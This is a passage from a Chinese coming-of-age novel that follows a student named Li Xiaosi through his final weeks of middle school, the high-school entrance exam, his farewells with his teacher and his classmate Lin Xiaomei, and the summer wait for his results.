李小四的眼眶红了。他张了张嘴,想说“你等我考完试再走”,想说“你多待几天”,想说“我想你了”——但这些话都太轻了,轻得说不出口。 “好。”他最后只说了一个字。 他转身走进校门,走了几步又回过头来。大壮还站在那里,站在路灯下,冲他挥了挥手。路灯的光照在大壮的身上,把他的影子投在地上,长长的,孤零零的。 李小四也挥了挥手,然后转过身,快步走向教学楼。 他没有回头。他怕自己一回头,就走不动了。 那天晚上的晚自习,李小四坐在座位上,面前的数学卷子一个字都看不进去。他脑子里全是刚才的画面,大壮站在路灯下挥手的样子,像一张照片,印在他脑子里,怎么也抹不掉。 林小美看了他一眼,没有说话。她从书包里拿出一颗草莓味的棒棒糖,放在他桌上。 糖纸上印着一颗红红的草莓,和一行小字:Sweet time。 跟大壮请全班吃的那根,是一样的。 李小四剥开糖纸,把糖塞进嘴里。草莓味的,甜得发腻,甜得他鼻子发酸,甜得他想哭。 他使劲忍住,翻开数学卷子,开始做题。 倒计时还有五十三天。 10. 栀子花开 五月的最后一天,马老师在黑板上写下了倒计时:距中考还有21天。 数字越变越小,小到让人心慌。李小四每天早上走进教室,第一眼看到的就是那个数字,它像一个沉默的倒计时器,每过一天就减掉一个数,毫不留情,从不回头。他有时候盯着那个数字发呆,觉得时间过得真快,快得像一阵风,还没来得及抓住就没了。 但更多的时候,他顾不上发呆。试卷像雪片一样飞来,三天一小考,五天一大考,考完讲,讲完考,循环往复,没有尽头。李小四的笔芯用掉了一根又一根,错题本从两本变成了四本,书桌上的试卷摞起来比课本还高。他的右手食指磨出了一个硬硬的茧,写字的时候压在笔杆上,不疼,但硌得慌。 六月一号,儿童节。初一的学弟学妹们放了半天假,校园里到处是他们叽叽喳喳的笑声。初三的教室安静得像一座坟墓,没有人提起这个节日,好像它跟他们已经没有任何关系了。李小四坐在教室里做物理题,窗外传来初一学生打闹的声音,他愣了一下,忽然想起两年前的今天,自己也在操场上疯跑,满头大汗,笑得没心没肺。 两年。才两年。但感觉像是上辈子的事。 “发什么呆?”林小美用笔敲了敲他的桌子。 “没什么。”李小四低下头,继续做题。 那天下午,马老师抱着一摞东西走进教室,放在讲台上。是一沓白色的信封,每个信封上都印着“中考准考证”四个字,红色字体,方正庄重。 “准考证发下来之前,我先说几句。”马老师拿起最上面一个信封,举起来让大家看了看,“这是你们的准考证,六月二十号、二十一号考试的时候,必须带着它进考场,没有它进不去。从现在开始,你们每个人都要像保护自己的眼睛一样保护这张纸,听到了没有?” “听到了。”声音稀稀拉拉的,不太整齐。 马老师没有计较,开始念名字发准考证。念到名字的同学依次走上讲台,接过那个白色的信封,有的人当场拆开看了一眼又装回去,有的人攥在手里回到座位上才拆。 “李小四。” 李小四走上讲台,从马老师手里接过信封。马老师的手很干燥,指尖有粉笔灰留下的白色痕迹,接过信封的一瞬间,马老师的手在他手上轻轻按了一下,像是在说“加油”。李小四看了马老师一眼,马老师的表情没什么变化,还是那副严肃的样子,但李小四知道,那个轻按是有意的。 他回到座位上,小心翼翼地拆开信封。准考证上有一张他的照片,是上学期拍的,穿着校服,头发有点长,表情有点呆,看起来像个不太聪明的学生。照片旁边印着他的名字、考场、座位号,还有一行小字:考点设在县一中高中部。 县一中高中部。就是他要考的那个学校。 他把准考证看了两遍,然后装回信封,把信封夹在课本里,压在书桌最底下。夹好之后他又抽出来看了看,确认还在,再夹回去。反复了三次,像个强迫症患者。 林小美在旁边看着他的动作,嘴角微微弯了一下,没说话。 六月五号,毕业照。 拍照的通知是前一天下午才贴出来的,马老师在班上宣布的时候,教室里难得地热闹了一下。有人开始商量穿什么衣服,有人说要去洗头,有人问能不能站在自己喜欢的人旁边。马老师皱了皱眉,说了一句“按身高排,别搞那些乱七八糟的”,但语气比平时柔和了很多,嘴角甚至带着一丝若有若无的笑意。 拍照的时间定在下午第二节课后,地点在教学楼前面的台阶上。天有点阴,但不冷不热,正适合拍照。摄影师是个五十多岁的男人,头发花白,脖子上挂着一条毛巾,扛着一台看起来很专业的大相机。他指挥着全年级六百多个学生在台阶上站好,一个班一个班地拍。 轮到7班的时候,马老师站在第一排最中间,两边是各科老师。李小四站在第三排,左边是张瑞,右边空了一个位置——那个位置本来应该是王大壮的。他下意识地看了一眼旁边的空位,心里空落落的,像缺了一块。林小美站在第二排,在他前面偏左的位置,马尾辫扎得很高,露出一截白皙的后颈。 “来,同学们看这里!”摄影师举起相机,把眼睛凑到取景器后面,“第一排的老师往中间靠一靠,对,就是这样。后面的同学,高的往中间站,矮的往两边,对对对。那个戴眼镜的女同学,你笑一笑嘛,毕业照要笑!” 林小美的嘴角动了一下,那个弧度很小,小到不知道算不算笑。但李小四站在她后面,刚好能看到她的侧脸,他觉得那个弧度刚刚好,不多不少,就是林小美该有的样子。 “好,三、二、一——” “咔嚓。” 快门声清脆得像折断了一根小树枝。 六百多个人的喧闹声在那一瞬间被定格,然后又在下一秒重新炸开。有人喊着“再来一张”,有人问能不能用美颜,有人已经跑下台阶去看摄影师相机里的预览图。马老师从第一排站起来,拍了拍裤子上的灰,朝李小四这边看了一眼,眼神里有一种说不清的东西,像是如释重负,又像是舍不得。 李小四从台阶上跳下来,张瑞跟在他后面,忽然问了一句:“你说,十年后我们再看到这张照片,会是什么感觉?” 李小四想了想,老实说:“不知道。可能会哭吧。” 张瑞推了推眼镜:“我觉得我会笑。” “那就又哭又笑。”李小四说。 张瑞想了想,觉得这个答案好像也没毛病。 拍完毕业照之后,日子忽然变得黏稠起来。 不是慢了,而是一种说不清的黏稠感,像夏天的空气,湿漉漉的,沉甸甸的,吸进去觉得胸口闷。每个人都知道,这二十几天是最后的日子了。过了这二十几天,大家就要各奔东西,有人去一中,有人去二中,有人去职中,有人可能再也不读书了。这些话没有人说出口,但每个人都心知肚明。 同学录开始流行起来。不是小学时那种花花绿绿印着明星照片的塑料封皮本子,而是一种更简单的东西——几张白纸,用订书机订在一起,正面写着“同学录”三个字,背面空着。班里不知道谁先开始的,后来传遍了全班,一张张纸在课桌之间传来传去,上面写满了密密麻麻的字。 李小四也收到了好几张。他坐在座位上,一笔一划地写,写得很认真。写“祝你前程似锦”,写“常联系”,写“别忘了我们”。有些话他觉得太俗了,想写点不一样的,但想了半天,发现除了这些俗话,他也写不出什么更高级的东西。感情到了,话就变俗了。或者说,话俗了,感情才是真的。 林小美也给了他一页纸。那张纸是从作业本上撕下来的,边缘有点毛糙,但折得很整齐,折成一个小小的方块,像她这个人一样,规规矩矩的。 李小四打开那张纸,上面只有三行字: “姓名:林小美” “最喜欢的颜色:蓝色” “留言:李小四,好好考。” 留言只有五个字。李小四看了这五个字,总觉得少了点什么,但又觉得什么都不少了。他拿起笔,在那行留言下面加了一行:“你也是。” 然后把纸折好,装进口袋里。 六月十五号,离中考还有五天。 学校举行了最后一次晨会。操场上站满了人,阳光已经很烈了,晒得人头皮发烫。校长的讲话比平时短了很多,只有寥寥几句:“同学们,三年了,你们马上就要离开这所学校。不管你们走到哪里,这里永远是你们的母校。祝你们中考顺利,前程似锦。” 然后就是马老师上台。这是他最后一次作为年级教师代表发言了。他走到话筒前,沉默了几秒钟,好像在组织语言,又好像在平复情绪。 “同学们,”他终于开口了,声音比平时低了一些,“我带过七届初三,每一届我都会在最后说同样的话。今天我也要说同样的话。” 他停了停,目光扫过六百多张晒得发红的脸。 “中考不是人生的终点,它只是一个小小的路口。考好了,往前走;没考好,也能往前走。路有很多条,条条都通到很远的地方。所以,不要怕,不要慌,正常发挥,把你们三年来学到的东西写在卷子上就行了。” “但是,”他的声音忽然提高了半度,“我希望你们记住一件事。不管你们以后去了哪里,做了什么事,都不要忘记,你们曾经在这里度过了一千多个日夜。这一千多个日夜,比中考重要得多。” 操场上一片安静。 “我说完了。”马老师退后一步,朝台下的学生深深地鞠了一躬。 六百多个人,没有人鼓掌,也没有人说话。那种安静比任何掌声都响亮。李小四站在队伍里,看着马老师弯下腰的那一瞬间,忽然发现他的头发比以前白了很多。不是白发变多了,而是以前他没注意。三年来,马老师站在讲台上,站在走廊上,站在办公室的窗前,他从来都是挺直了腰板的,从来都是不怒自威的。但这一刻,他弯下腰的样子,像一棵被风吹弯了的老树,让人觉得心疼。 晨会结束后,李小四没有直接回教室。他在操场边上站了一会儿,看着初一初二的学生从教学楼里涌出来,叽叽喳喳地往操场跑。他们还不知道,三年有多短。 六月十八号,最后一天上课。 马老师走进教室的时候,手里没有拿课本,没有拿试卷,也没有拿那根他用了很多年的教鞭。他两手空空地走上讲台,把椅子拉到前面,坐下了。这是他三年来第一次在课堂上坐下。 “今天不上课了,”他说,“聊聊天。” 教室里响起一阵低低的欢呼,但很快又安静了。 “我先说几句,”马老师靠在椅背上,姿态难得地放松,“我带你们三年,骂过你们,罚过你们,也表扬过你们。有些同学被我骂哭过,有些同学被我罚站过,有些同学被我请过家长。如果我说我这都是为了你们好,你们可能不信,但事实就是这样。” “你们是我带过的最让我操心的一届,也是最让我骄傲的一届。”他顿了顿,目光从每个人脸上扫过,一个一个地看,像在清点人数,又像是在记下每一张脸,“从摸底考试平均分年级第六,到现在稳定在年级第二。这个进步不是我教的,是你们自己拼出来的。” “尤其是李小四。” 李小四听到自己的名字,浑身一僵。 “李小四入学摸底考试数学38分,全班倒数第三。这学期一模他考了98分,二模97分,从38到98,整整60分的进步。你们知道这60分意味着什么吗?”马老师没有等回答,自己说了,“意味着一个人只要肯努力,就没有到不了的地方。” 教室里响起掌声。李小四的脸红得像煮熟的虾,低着头不敢看任何人。他的手指在桌子下面绞在一起,指甲掐进肉里,有点疼。但他的眼眶也红了,红得很厉害。 “好了,不说了。”马老师站起来,“再说下去我要掉眼泪了,不好看。” 有人在底下小声说“马老师您哭一个”,被旁边的人捂住了嘴。 马老师假装没听到,拿起粉笔,在黑板上写了两行字: “沉着冷静,认真审题” “会的全对,蒙的全中” 粉笔字写得很大,占了半个黑板。最后一笔写完的时候,粉笔“啪”地断了一截,掉在地上,碎成了几段。马老师没有去捡,把剩下的粉笔头放在粉笔盒里,拍了拍手上的灰。 “就这两句话,记住就行了。” 教室里的气氛忽然变得很奇怪。有人在笑,有人在沉默,有人在偷偷抹眼泪。李小四不知道自己是哪一种,好像每一种都有,又好像哪一种都不是。他坐在座位上,看着黑板上的那两行字,心里空空的,又满满的,像一杯装得太满的水,稍微一晃就会溢出来。 那节课没有上下课铃。马老师讲了大概四十分钟,然后说“下课吧”。没有人动。他又说了一句“下课了,走吧”,还是没有人动。他叹了口气,转身走出了教室。 他走了之后,教室里像炸开了锅。 “加微信!加微信!” “你QQ多少来着?” “毕业了别删我好友啊!” “暑假一起出去玩!” “别忘了给我点赞!” 闹哄哄的,乱糟糟的,像一锅煮沸了的粥。李小四坐在座位上,看着这一切,忽然觉得这三年好短,短得像一场梦。他记得开学第一天走进这个教室的时候,一切都是陌生的。陌生的黑板,陌生的桌椅,陌生的面孔。现在这一切都变得不能再熟悉了,熟悉到闭着眼睛都能找到自己的座位,熟悉到听脚步声就知道是谁来了。 林小美在收拾书包。她把课本一本一本地放进书包里,放得很慢,像是在做一件需要仪式感的事情。她的书包还是那个深蓝色的帆布书包,用了快两年了,边角磨出了毛边,但她一直没换。 “林小美。”李小四叫她。 林小美转过头看着他。 “你会考上一中的。”李小四说。 “我知道。”林小美说,语气很平静,好像在说一件确定无疑的事。 “我也要考上。” 林小美看了他两秒钟,嘴角弯了弯:“我知道。” 她背上书包,站起来,走了两步,又回过头来。教室里很吵,很多人都在说话,她的话被淹在嘈杂里,但李小四看懂了她的口型。 她说的是:“一中见。” 六月二十号,中考。 早上六点,闹钟还没响,李小四就醒了。 他躺在床上,看着天花板上的日光灯管,心跳得很快。不是害怕,是一种说不清的紧张,像一根绷紧的弦,轻轻一碰就会发出声音。他闭上眼睛,深呼吸了三次,然后起床,洗脸,刷牙,吃早饭。妈妈比他起得更早,做了面条,卧了两个荷包蛋,还切了几片火腿肠,摆在碗里整整齐齐的。 “多吃点,”妈妈说,“考试费脑子。” 李小四吃了一大碗面,把两个荷包蛋都吃了,汤也喝得干干净净。妈妈看着他的碗,好像还想给他盛,但忍住了,怕他吃太饱犯困。 出门的时候,妈妈站在门口,手里拿着他的透明文件袋——里面装着准考证、身份证、两支黑色签字笔、两支2B铅笔、一块橡皮、一把尺子、一个圆规。她把这些东西一样一样地检查了两遍,然后把文件袋递给他。 “别紧张,”妈妈说,“考什么样都行。” 李小四接过文件袋,看了妈妈一眼。她穿着那件洗得发白的棉布睡衣,头发用夹子夹起来,脸上还带着没睡醒的浮肿。但她看他的眼神很亮,亮得像两颗星星。 “妈,我走了。” “嗯,去吧。” 他走到楼梯口的时候,妈妈又喊了一声:“小四!” 他回过头。 “妈等你回来吃饭。” 李小四鼻子一酸,使劲点了点头,转身下楼。 考点设在县一中高中部。这是李小四第一次走进这所学校的大门。校园比初中部大了好几倍,有几栋崭新的教学楼,一个标准的四百米操场,还有一个小花园,种着栀子花,正是开花的季节,白色的花瓣在晨风里轻轻摇晃,香气浓郁得让人头晕。 考场在教学楼的二层,走廊上有老师引导,秩序井然。李小四找到自己的座位,靠窗第三排,桌面平整,椅子不晃,阳光从窗户照进来,刚好照在他的桌角上。他把文件袋放在桌上,坐好,把手腕上的电子表摘下来放在桌角——考场里不能带电子设备,但他忘了摘表,被监考老师提醒了一下,赶紧摘下来塞进文件袋里。 第一场是语文。 试卷发下来的时候,李小四的手微微发抖。他深吸一口气,闭上眼睛,在心里默念了马老师写的那两句话:“沉着冷静,认真审题。会的全对,蒙的全中。”念了三遍,手不抖了。 他开始答题。 基础知识部分他做得很顺,古诗词默写都是他背过的,文言文阅读是《岳阳楼记》,他做过不下二十遍。阅读理解是一篇散文,讲的是故乡的河,文字很美,题目也不难。他做完这些,看了一眼时间,还剩五十分钟。 作文题目是:“给自己的一封信”。 李小四盯着这个题目看了三十秒钟,然后提起笔,开始写。 “亲爱的李小四:你好。我是三年前的你, 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语文考完,他走出考场,在校门口的花坛边看到了林小美。她站在一棵栀子花树下,手里拿着一个透明文件袋,白色的花瓣落在她的肩膀上,她也没有去拍。 “作文写的什么?”李小四问。 “给自己的一封信。”林小美说。 “我也是。” 两个人对视了一眼,都没有问对方写了什么。有些东西不需要问,也不需要说,放在心里就好了。 “下午考物理和化学,”林小美说,“你复习了吗?” “复习了。” “那走吧,吃饭去。” “你请我?” “你想得美。”林小美白了他一眼,但走了两步又说,“AA。” 李小四笑了,跟在她后面,走出了县一中的校门。 下午的物理和化学,李小四发挥正常。物理最后一道大题有点难,他想了十分钟才找到思路,匆匆写完步骤,没来得及验算。化学相对简单,他做完之后还有十五分钟,从头到尾检查了一遍,改了两道选择题。 走出考场的时候,太阳还很高,晒得人睁不开眼。李小四站在校门口,看着来来往往的考生,有人笑容满面,有人愁眉苦脸,有人在打电话报喜,有人在跟同学对答案。他没有对答案的习惯,对与不对,答案已经交上去了,改变不了什么。 他掏出手机,给姐姐发了一条微信:“姐,第一天考完了。” 姐姐秒回:“感觉怎么样?” “还行。语文作文写哭了。” “哈哈哈,你写的什么?” “给自己的一封信。” 姐姐发了一个抱抱的表情,然后说:“你长大了,小四。” 李小四看着那四个字,心里涌起一股热流。他把手机揣进口袋,背着书包往家走。经过学校门口那家烤肠摊的时候,他停下来,买了一根烤肠,刷了辣椒酱,咬了一口。 老板看了他一眼:“你那个大个子的同学呢?好久没见他了。” “他在外地。”李小四说。 “哦,那怪可惜的。你俩以前天天一块儿来。” 李小四嚼着烤肠,没有接话。烤肠还是那个味道,辣椒酱还是那个辣椒酱,但吃的人少了一个,味道就不一样了。 六月二十一号,最后一天。 上午考数学和道德与法治,下午考英语。 数学是李小四最强的科目,他拿到试卷的时候,心跳比昨天稳了很多。选择题他用了十五分钟全部做完,填空题用了二十分钟,大题他一道一道地做,遇到不会的先跳过去,做完后面的再回头啃硬骨头。最后一道大题是一道二次函数的综合题,有三个小问,前两问他做出来了,第三问想了很久,最后用一种笨办法解了出来,不知道对不对,但他把所有能写的步骤都写了。 交卷的时候,他把试卷翻过来看了一眼,卷面上写满了字,密密麻麻的,像一个农民看着自己耕耘了三年的田地,虽然不知道收成如何,但他知道,他每一寸都耕过了。 下午的英语是最后一门。 听力部分他做得还行,虽然有几个词没听清,但结合上下文猜了个大概。阅读理解有一篇关于环保的,生词很多,他连蒙带猜做完了。作文题目是“My Dream”,他写的是想当一名老师——不是因为林小美说过她想当老师,而是因为他觉得,一个好老师真的可以改变一个人的一生。马老师改变了他,他也想成为那样的人。 写完最后一个单词,他放下笔。 铃声响了。 “考试结束,请考生立即停笔。” 教室里有几秒钟的安静,然后像决堤的洪水一样,爆发出一阵巨大的喧闹声。有人在欢呼,有人在尖叫,有人在哭。李小四坐在座位上,一动不动,看着窗外的天空。天很蓝,云很白,栀子花的香气从窗外飘进来,甜丝丝的,让人想睡觉。 他忽然觉得很累。不是身体累,是一种从骨头里往外冒的疲惫,像一根绷了三年的弦忽然松了下来,整个人都软了。他趴在桌上,把脸埋在胳膊里,闭上眼睛。 三年前,他走进县一中的校门,是一个考38分的毛头小子。 三年后,他走出中考的考场,不知道能考多少分。 但他知道,他已经不是三年前的那个李小四了。 走出考场的时候,校门口挤满了人。家长、老师、考生,黑压压的一片。有人在拥抱,有人在拍照,有人在哭哭笑笑。李小四在人群中找了好久,没有找到林小美。他给她发了一条微信:“你在哪?” 过了几分钟,林小美回了一个字:“在。” “在哪?” “在花坛这里。栀子花这里。” 李小四穿过人群,走到那个花坛边。林小美还是站在那棵栀子花树下,白色花瓣落了她一身。她把文件袋抱在胸前,看着远处,不知道在看什么。 “考完了。”李小四说。 “考完了。”林小美说。 两个人沉默了一会儿。 “你觉得你能考多少?”李小四问。 “不知道,”林小美说,“但应该能上一中。” “我也是。”李小四说。 林小美转过头看着他,阳光透过栀子花的树叶落在她脸上,斑斑驳驳的。她的眼睛里有一种光,不是泪光,而是一种更亮的东西,像清晨的露水,清澈而透明。 “李小四,”她说,“谢谢你。” “谢我什么?” “谢谢你帮我保守秘密。”她说的是初一的时候,她啃馒头被他撞见的事。 李小四愣了一下,然后笑了:“那不算什么。” “对我来说算。”林小美低下头,用鞋尖拨弄着地上的花瓣,“你不知道,那时候我觉得全世界都在看我,都在笑话我。但是你……你没有。你假装什么都没看到,还给我苹果,给我牛奶,给我笔。你让我觉得,我不是一个人。” 李小四不知道该说什么,张了张嘴,发现喉咙有点紧。 “所以谢谢你。”林小美抬起头,笑了笑。那个笑容跟她平时不一样,不是淡淡的、礼貌性的微笑,而是一种真正的、发自心底的、带着温度的笑。像栀子花开了,香气挡都挡不住。 “不客气。”李小四说,声音有点哑。 两个人在花坛边站了很久,没有说话。阳光从头顶慢慢移到了西边,树影拉长,花瓣飘落。远处有人在喊“毕业快乐”,声音飘过来,又被风吹散。 林小美看了看手机,说:“我该走了,奶奶等我吃饭。” “好。” 她转身走了两步,又回过头来。 “李小四。” “嗯?” “录取通知书到了,给我发个消息。” “好。” 林小美笑了一下,转过身,背着那个深蓝色的帆布书包,走进了夕阳里。她的影子在地上拖得很长很长,像一个渐行渐远的梦。 李小四站在栀子花树下,看着她走远,直到她的身影消失在人群里。 他低头看了看手腕上的电子表,爸爸送的那块。表盘上有一道细细的划痕,不知道什么时候蹭的。 六点十七分。 中考结束了。 初中结束了。 11. 漫长的夏日 中考结束的那个晚上,李小四失眠了。 不是紧张,不是兴奋,而是一种说不清的空虚感。三年来他习惯了每天学习到深夜,习惯了书桌上堆成小山的试卷,习惯了耳边翻书的沙沙声和马老师的训话。现在这些都没了,像一台高速运转了很久的机器忽然被关了电源,他还站在原地,嗡嗡地响,却不知道该往哪儿转。 他躺在床上,翻来覆去,手机亮了一次又一次。朋友圈里全是同学发的动态,有人发了毕业照配文“青春不散场”,有人发了考场的照片说“终于解放了”,还有人发了跟老师的合影,马老师被一群学生围在中间,表情有点不自在,但嘴角是往上翘的。 李小四刷了一会儿,给几条动态点了赞,然后打开大壮的微信对话框。他想发点什么,但打了几个字又删掉。说什么呢?说“我考完了”?大壮知道他会考完。说“我感觉还行”?大壮不会在乎他感觉怎么样。 他最后发了一句:“大壮,我考完了。” 大壮没有马上回。李小四盯着屏幕看了几分钟,把手机扣在床头,闭上眼睛。黑暗中他听到窗外有虫鸣,细细密密的,像无数根丝线在夜风里飘。夏天的虫子叫得真早,这才六月底,它们就已经迫不及待了。 第二天早上醒来的时候,手机上有大壮的回信,时间是凌晨一点多。 “小四,恭喜你。我最近在厂里打工,白班夜班倒着上,有时候顾不上看手机。你别担心我,我挺好的。你好好放松,三年了,该歇歇了。” 李小四看着这条消息,想问他爸的腿怎么样了,想问他妈的工作稳不稳定,想问他到底还读不读书了。但这些话到了嘴边,变成了一句:“你在哪个厂?累不累?” 大壮没有回。 也许在上班,也许在睡觉,也许不知道该怎么回。 李小四把手机放下,走到窗前,拉开窗帘。阳光哗地涌进来,刺得他眯起了眼睛。六月底的县城已经热得像蒸笼,蝉鸣声从四面八方涌来,一浪高过一浪,吵得人心烦。 漫长的暑假开始了。 无所事事的日子,第一天是天堂,第二天是放假,第三天就开始无聊了。 李小四在家躺了两天,把之前攒着没看的电影看了个遍,打了十几局游戏,睡了三四个午觉。到第三天下午,他发现自己已经开始想念那些做不完的卷子了。不是真的想念做题,而是想念那种有事可做的感觉,那种每一天都知道自己要干什么的日子。 他开始找事做。 先是收拾房间。他把书桌上堆了三年的课本、试卷、练习册全部搬下来,分类整理。数学一摞,语文一摞,英语一摞,物理化学各一摞,还有那些错题本、笔记本、单词卡片,零零碎碎的,堆在地上像一座小山。 他一本一本地翻,像是在翻自己的三年。 翻到初一那本卷了边的数学练习册,马老师给的第一本。封面上还有他当时写的名字,“李小四”三个字歪歪扭扭的,跟现在的字迹完全不一样。他翻开第一页,第一道题上面画了一个大大的红叉,旁边是马老师的批注:“去括号注意变号!”感叹号打得很大,力透纸背,好像能听到马老师当时的语气。 他翻到那页考了38分的试卷,夹在练习册里,纸已经泛黄了,边角卷曲。他看着那个红色的“38”,觉得那不是一个分数,而是一个起点。如果没有这个38分,他可能到现在还是那个浑浑噩噩的李小四,上课睡觉,回家打游戏,不知道明天要干什么。 他把那些课本和试卷捆好,打算当废纸卖掉。但犹豫了一下,又把那本练习册和那张38分的试卷抽了出来,放在抽屉最里面。他不知道自己为什么要留着它们,但就是觉得扔不掉。 收拾完房间,他又开始收拾自己的脑子。三年积攒下来的公式、单词、文言文翻译,塞得满满当当的,现在忽然要清空,还有点舍不得。他有时候会无意识地背起“元素周期表”,背着背着发现自己已经背到了第三十位,然后苦笑一下,强行打断自己。 中考成绩要等到七月中旬才公布,这期间除了等,什么都做不了。 等待是一件很磨人的事。 刚开始几天还好,越往后越煎熬。李小四每天晚上都做梦,梦见查分,梦见自己在考场上找不到座位,梦见试卷上的字全都不认识,梦见马老师拿着成绩单念他的名字,念到一半忽然不念了,说“你自己看吧”。他每次都从这个梦里惊醒,心跳得像打鼓,在床上坐半天才能缓过来。 妈妈看出他的焦虑,也不多说,只是变着法子给他做好吃的。红烧排骨、糖醋鱼、西红柿炒蛋、冬瓜排骨汤,换着花样来。爸爸又出车了,临走前给他转了五百块钱,说“暑假出去玩一玩,别老在家待着”。李小四收了钱,但没有出去玩,他不知道去哪里,也不知道跟谁去。 张瑞约了他几次,去网吧打游戏,去河边钓鱼,去县城新开的商场逛。他去了两次,打游戏的时候心不在焉,钓鱼的时候盯着水面发呆,逛商场的时候不知道该看什么。张瑞说他“失魂落魄”,他也不反驳,因为确实有点像。 他唯一主动想见的人是林小美。 但他不知道怎么开口。他俩的微信聊天记录停留在中考那天,她说“在”,他说“考完了”,她说“考完了”,然后就没有然后了。他不知道她在干什么,不知道她是不是也在等成绩,不知道她奶奶身体好不好。他每天打开她的对话框好几次,打了又删,删了又打,最后什么都没发。 倒是林小美先发了一条消息过来。 那是七月五号的晚上,李小四正躺在床上发呆,手机震了一下。 “李小四,你在干嘛?” 李小四几乎是秒回:“躺着。你呢?” “也在躺着。成绩什么时候出来?” “老师说十二号。” “快了。” “嗯,快了。” 然后又是一阵沉默。李小四盯着屏幕,想找点话说。问她吃了吗?太傻了。问她天气怎么样?更傻。他想了想,打了一行字:“你最近在干什么?” “在家看书。帮我奶奶做家务。你呢?” “收拾房间。打游戏。无聊。” “那你出来走走。” “去哪?” “河边。凤凰山脚下的那条河。你知道的。” 李小四当然知道。那是他跟大壮以前常去的河堤,也是林小美初一的时候一个人坐在石阶上啃馒头的地方。他不知道林小美为什么忽然想去那里,但他几乎没有犹豫:“什么时候?” “明天下午四点。太阳没那么晒了。” “好。” 第二天下午,李小四骑着妈妈的电动车出了门。太阳还是很大,晒得柏油路面发软,空气里有一股沥青的味道。他把车停在河堤下面,锁好,沿着石阶走上去。 远远地就看到林小美坐在河堤的石阶上,穿着一件白色的短袖和一条牛仔短裤,头发散着,被风吹得有些乱。她面前放着一瓶水,旁边还有一个塑料袋,里面装着什么东西。她看到李小四走过来,没有站起来,只是朝他挥了挥手。 李小四走过去,在她旁边坐下。石阶被太阳晒了一天,还是温热的,隔着裤子都觉得烫。 “你来多久了?”他问。 “没多久,十几分钟。”林小美从塑料袋里拿出一个橘子递给他,“吃不吃?” 李小四接过橘子,剥开,掰了一瓣放进嘴里。很甜,汁水很多,跟她以前给他的那些橘子一样,不知道是不是在同一家店买的。 两个人并排坐着,看着远处的河面。六月底下了几场雨,河水涨了一些,流得比平时急,在阳光下一闪一闪的,像一条流动的碎银子。河对岸的庄稼长得正旺,玉米秆子一人多高,绿油油的,风一吹就掀起一层层的浪。 “你紧张吗?”林小美忽然问。 “紧张什么?” “成绩。” 李小四嚼着橘子,想了一下:“紧张。每天晚上做梦都梦见查分。” “我也是,”林小美说,“我前天梦见自己考了三百多分,吓醒了,再也睡不着。” 李小四看了她一眼。他一直以为林小美什么都不怕,考试不紧张,成绩不担心,永远胸有成竹的样子。原来她也会做噩梦,也会半夜惊醒,也会害怕。 “你不会考三百多分的,”李小四说,“你闭着眼睛都能考五百以上。” “那可不一定。”林小美低下头,用手指在石阶上画着什么,“万一选择题涂错卡了呢?万一作文跑题了呢?万一英语听力没听清呢?万一——” “林小美,”李小四打断她,“你什么时候变得这么没自信了?” 林小美愣了一下,抬起头看着他。阳光从侧面照在她脸上,把她的轮廓勾出一道金边。她的睫毛很长,投下一小片扇形的阴影。 “不是没自信,”她慢慢地说,“是不敢太自信。我怕希望越大,失望越大。” 李小四理解这种感觉。他也有过。考38分的那次,他就是因为没有任何期待,所以看到分数的时候也没什么感觉。后来他开始努力了,开始有期待了,那种害怕反而越来越强。怕自己不够好,怕努力白费,怕让妈妈失望。 “不管考多少分,”李小四说,“你都努力过了。” 林小美看着他,眼神里有一种说不清的东西。过了几秒钟,她低下头,轻轻地说了一句:“你也是。” 两个人在河堤上坐了很久,从太阳还很高坐到夕阳西下,从天还亮着坐到路灯亮起来。他们聊了很多,聊了这三年的事,聊了各自的暑假计划,聊了高中想选什么科。林小美说她想选理科,以后考师范,学物理或者数学。李小四说他还没想好,但大概也会选理科,因为文科他实在背不住。 “你背不住?”林小美难得地笑出了声,“你中考前背文言文,一天背了三篇,这叫背不住?” “那是硬背的,考完就忘了。” “那你也比我强。我背东西慢。” “你背东西慢?”李小四学着她的语气,“你初一的时候英语课文倒背如流,这叫慢?” 两个人互相揭短,你一句我一句,说到后来都笑了。笑着笑着,李小四忽然觉得心里那个空洞被什么东西填满了一些。不是完全填满了,但至少不再那么空了。 天彻底黑了以后,李小四骑电动车送林小美回家。林小美家在一个老旧的小区,没有电梯,楼道里的灯忽明忽暗。她下了车,站在单元门口,回过头来。 “李小四。” “嗯?” “成绩出来那天,你给我发消息。” “好。” “不管考多少分,都发。” “好。” 林小美笑了一下,转身走进楼道。她的脚步声在楼梯间里回荡,一层一层地往上,越来越轻,最后消失了。 李小四骑着电动车回家,夜风吹在脸上,凉飕飕的,把白天的暑气吹散了大半。路灯一盏一盏地从头顶掠过,光影交替,像电影里的蒙太奇。 接下来的几天,李小四每天都出门。 有时候去河堤坐着,有时候去学校门口转一圈,有时候骑着电动车在县城的大街小巷乱逛。县城不大,从东到西骑电动车也就二十多分钟,他把每一条街都走了一遍,每一条巷子都钻了一遍。他去了一趟小学,大门锁着,保安不认识他,不让进。他在门口站了一会儿,看了看那棵歪脖子梧桐树,树比以前更粗了,枝叶遮住了半边天。 他又去了一趟县一中。初中部的校门也锁着,暑假期间不让进。他隔着铁栏杆看里面的操场,操场空荡荡的,一个人都没有,旗杆上的国旗被收走了,光秃秃的杆子戳在那里,像个孤独的巨人。三楼的教室窗户关着,窗帘拉得严严实实的,看不到里面。但他知道,那间教室里曾经坐 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网页加载了大概两秒钟。这两秒钟长得像两个世纪。 然后页面弹出来了。 姓名:李小四 准考证号:xxxxxxxxxx 语文:89 数学:98 英语:87 物理:94 化学:92 道德与法治:85 历史:83 总分:628 全县排名:第147名 李小四盯着这个页面,看了整整一分钟。 628分。全县147名。 他不太清楚这个分数是什么概念。他记得县一中高中部去年的录取分数线是532分,他超了将近100分。全县排名147名,一中的录取名额大概是六百个,他稳了。 他考上了。 李小四放下手机,坐在椅子上,一动不动。他以为自己会哭,会笑,会跳起来,会大喊大叫。但他什么都没有做,只是坐在那里,看着墙上那些贴了三年的计划表,看着书桌上那盏用了三年的台灯,看着窗外那片他看了无数次的天空。 他想起了很多事情。 想起初一的时候,马老师把那张38分的试卷递给他,眼神里没有愤怒,没有失望,只有漠然。那时候他觉得,全世界都不相信他能行。 想起妈妈在饭桌上流眼泪,说“我们这么辛苦,图什么”。那时候他觉得,自己是个混蛋。 想起姐姐深夜一条接一条的语音,讲到声音都哑了。那时候他觉得,自己不能对不起她。 想起大壮在路灯下挥手,说“你好好考,考上高中了给我发个消息”。那时候他觉得,他不是一个人在读书。 